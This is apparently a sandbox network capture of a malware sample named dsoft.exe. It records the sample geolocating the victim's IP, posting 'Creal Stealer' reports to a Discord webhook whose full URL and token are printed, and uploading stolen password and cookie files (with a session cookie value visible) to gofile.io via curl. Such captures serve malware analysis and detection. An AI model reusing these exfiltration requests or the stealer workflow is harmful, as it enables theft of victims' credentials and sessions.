                                                                                                                                                                                                                                        2024-12-29 19:02:42 UTC140OUTGET /jsonp/8.46.123.189 HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Host: geolocation-db.com
                                                                                                                                                                                                                                        User-Agent: Python-urllib/3.10
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:02:43 UTC206INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:42 GMT
                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                        2024-12-29 19:02:43 UTC172INData Raw: 61 31 0d 0a 63 61 6c 6c 62 61 63 6b 28 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 69 74 79 22 3a 6e 75 6c 6c 2c 22 70 6f 73 74 61 6c 22 3a 6e 75 6c 6c 2c 22 6c 61 74 69 74 75 64 65 22 3a 33 37 2e 37 35 31 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 39 37 2e 38 32 32 2c 22 49 50 76 34 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 73 74 61 74 65 22 3a 6e 75 6c 6c 7d 29 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                        Data Ascii: a1callback({"country_code":"US","country_name":"United States","city":null,"postal":null,"latitude":37.751,"longitude":-97.822,"IPv4":"8.46.123.189","state":null})0


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        3192.168.2.449751162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:02:44 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 420
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:02:44 UTC420OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal
                                                                                                                                                                                                                                        2024-12-29 19:02:45 UTC1265INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:45 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498966
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VcL%2BFMVSqvz7tTWlR1tLkLu%2FDQ%2Fl8eYAC5HuxV02pNUQ8POQzbsss%2FBlTVxK8yPGstQWy0EK%2B1aWQIuS%2Bqlz4VQ7lPkN5t9btSJ2CGNxO19%2BPE%2FEgy9Reh12JnEs"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=752684ca2b78c199a71dd5c30154bde0dc60dd85-1735498965; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=XhmKbEJ_SuzFm3Iztlh64DXx1CW.ahUwx.jYNEEE048-1735498965245-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0bd46897186d-EWR
                                                                                                                                                                                                                                        2024-12-29 19:02:45 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        4192.168.2.44975231.14.70.2454433896C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:02:45 UTC198OUTPOST /uploadFile HTTP/1.1
                                                                                                                                                                                                                                        Host: store4.gofile.io
                                                                                                                                                                                                                                        User-Agent: curl/7.83.1
                                                                                                                                                                                                                                        Accept: */*
                                                                                                                                                                                                                                        Content-Length: 193
                                                                                                                                                                                                                                        Content-Type: multipart/form-data; boundary=------------------------b4d49c28e80b1a5d
                                                                                                                                                                                                                                        2024-12-29 19:02:45 UTC193OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 62 34 64 34 39 63 32 38 65 38 30 62 31 61 35 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 70 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 62 34 64 34 39 63 32 38 65 38 30 62 31 61 35 64 2d 2d 0d 0a
                                                                                                                                                                                                                                        Data Ascii: --------------------------b4d49c28e80b1a5dContent-Disposition: form-data; name="file"; filename="crpasswords.txt"Content-Type: text/plain--------------------------b4d49c28e80b1a5d--
                                                                                                                                                                                                                                        2024-12-29 19:02:48 UTC449INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Server: nginx/1.27.1
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:47 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 730
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization
                                                                                                                                                                                                                                        Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
                                                                                                                                                                                                                                        Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                        Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
                                                                                                                                                                                                                                        2024-12-29 19:02:48 UTC730INData Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 35 34 39 38 39 36 37 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 49 6a 45 4a 68 7a 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 68 77 31 71 77 4a 6a 6d 4d 30 54 75 65 58 52 52 78 4b 74 79 44 64 57 63 55 66 61 64 4b 49 6c 36 22 2c 22 69 64 22 3a 22 65 34 63 65 61 62 39 61 2d 61 32 37 66 2d 34 65 37 63 2d 38 38 63 36 2d 39 64 35 30 61 31 64 37 32 33 36 64 22 2c 22 6d 64 35 22 3a 22 64 34 31 64 38 63 64 39 38 66 30 30 62 32 30 34 65 39 38 30 30 39 39 38 65 63 66 38 34 32 37 65 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 70 6c 61 69 6e 22 2c 22 6d 6f 64 54 69 6d 65 22 3a 31 37 33 35 34 39 38 39 36 37 2c
                                                                                                                                                                                                                                        Data Ascii: {"data":{"createTime":1735498967,"downloadPage":"https://gofile.io/d/IjEJhz","guestToken":"hw1qwJjmM0TueXRRxKtyDdWcUfadKIl6","id":"e4ceab9a-a27f-4e7c-88c6-9d50a1d7236d","md5":"d41d8cd98f00b204e9800998ecf8427e","mimetype":"text/plain","modTime":1735498967,


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        5192.168.2.449753162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:02:46 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 420
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:02:46 UTC420OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal
                                                                                                                                                                                                                                        2024-12-29 19:02:47 UTC1253INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:47 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498968
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ijj83wKKUEjw1eJOyFtwhZNQmOqj9HRXXfRNuSeRihl30er6CwzKyVXN3gHaeFEPnR89HC3x6Irz8Zn73P%2BeUxNVjRqbcmD3FWl1yP561Dv%2BFP8zq6VJ2bbqVGk4"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=623e6abcde00c142c2d5ec210b81eac86a32c704-1735498967; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=Cvwb_4N.hYs5dxF6V._pzk.T9yYMRxkEpv5gtFAGey8-1735498967174-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0bdfd983f799-EWR
                                                                                                                                                                                                                                        2024-12-29 19:02:47 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        6192.168.2.449754162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:02:48 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 420
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:02:48 UTC420OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal
                                                                                                                                                                                                                                        2024-12-29 19:02:49 UTC1251INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:49 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498970
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BjYK7ei2LslEHt9NpK8cOqf5VVqO2UDklNYjCRt9axGniT2h4jepUxEdmwvm8g%2Bxh4OFuQa2QEoIlyJCGv2DLbYhLFyoAbxAqjlZDsZVylzDEXIc6C26OAX5EU70"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=e06e93c4c3494c59fa4bbe37d00fe5a060aa4d80-1735498969; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=XzNxxMyL.p8r3sXfQzp3gH2Gg2XAaF3k9qJe.w3BVz0-1735498969224-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0bed4935c32e-EWR
                                                                                                                                                                                                                                        2024-12-29 19:02:49 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        7192.168.2.44975731.14.70.2454431216C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:02:49 UTC199OUTPOST /uploadFile HTTP/1.1
                                                                                                                                                                                                                                        Host: store4.gofile.io
                                                                                                                                                                                                                                        User-Agent: curl/7.83.1
                                                                                                                                                                                                                                        Accept: */*
                                                                                                                                                                                                                                        Content-Length: 3349
                                                                                                                                                                                                                                        Content-Type: multipart/form-data; boundary=------------------------b48fb63f0f8da9d4
                                                                                                                                                                                                                                        2024-12-29 19:02:49 UTC3349OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 62 34 38 66 62 36 33 66 30 66 38 64 61 39 64 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 63 6f 6f 6b 69 65 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 09 54 52 55 45 09 2f 09 46 41 4c 53 45 09 32 35 39 37 35 37 33 34 35 36 09 4e 49 44 09 35 31 31 3d 6a 38 53 51 55 54 6c 74 6e 56 55 35 63 4f 41 65 79 7a 71 53 78 57 2d 71 48 4f 61 6b 52 75 42 48 44 51 47 4c 54 47 65 63 65 43 39 5a 35 72 52 7a 6b 35 74 72 4d 4b 62 34 43 75 5a 43 5f 43 46 6d 63 37 4b 46
                                                                                                                                                                                                                                        Data Ascii: --------------------------b48fb63f0f8da9d4Content-Disposition: form-data; name="file"; filename="crcookies.txt"Content-Type: text/plain.google.comTRUE/FALSE2597573456NID511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KF
                                                                                                                                                                                                                                        2024-12-29 19:02:51 UTC449INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Server: nginx/1.27.1
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:51 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 438
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization
                                                                                                                                                                                                                                        Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
                                                                                                                                                                                                                                        Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                        Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
                                                                                                                                                                                                                                        2024-12-29 19:02:51 UTC438INData Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 35 34 39 38 39 37 31 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 41 71 37 63 32 6d 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 38 72 52 46 61 74 6d 6d 6c 39 51 62 66 55 4f 44 50 59 72 49 59 63 77 31 62 4b 50 6b 30 4c 4a 44 22 2c 22 69 64 22 3a 22 38 36 34 30 65 64 66 38 2d 32 35 30 65 2d 34 63 32 31 2d 39 32 62 39 2d 38 33 34 37 62 61 32 38 32 65 37 38 22 2c 22 6d 64 35 22 3a 22 38 63 36 66 66 33 34 35 35 31 65 35 64 34 35 61 39 65 36 30 61 30 33 64 33 31 34 38 37 30 35 33 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 74 61 62 2d 73 65 70 61 72 61 74 65 64 2d 76 61 6c 75 65 73 22 2c 22 6d 6f 64 54 69
                                                                                                                                                                                                                                        Data Ascii: {"data":{"createTime":1735498971,"downloadPage":"https://gofile.io/d/Aq7c2m","guestToken":"8rRFatmml9QbfUODPYrIYcw1bKPk0LJD","id":"8640edf8-250e-4c21-92b9-8347ba282e78","md5":"8c6ff34551e5d45a9e60a03d31487053","mimetype":"text/tab-separated-values","modTi


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        8192.168.2.449758162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:02:50 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 420
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:02:50 UTC420OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal
                                                                                                                                                                                                                                        2024-12-29 19:02:51 UTC1253INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:50 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498972
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SiMzUe8TVFL4lL3nJ9UjVXgBsR5%2FhFrl8JCe1qpi9sL4DFn9SsFFvwgXF%2FlfIj2gitdZqqwUUw78EBAoy38PWra2dc2OKRq6noTCaiASfhr8hoCrfidyS86FeyUb"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
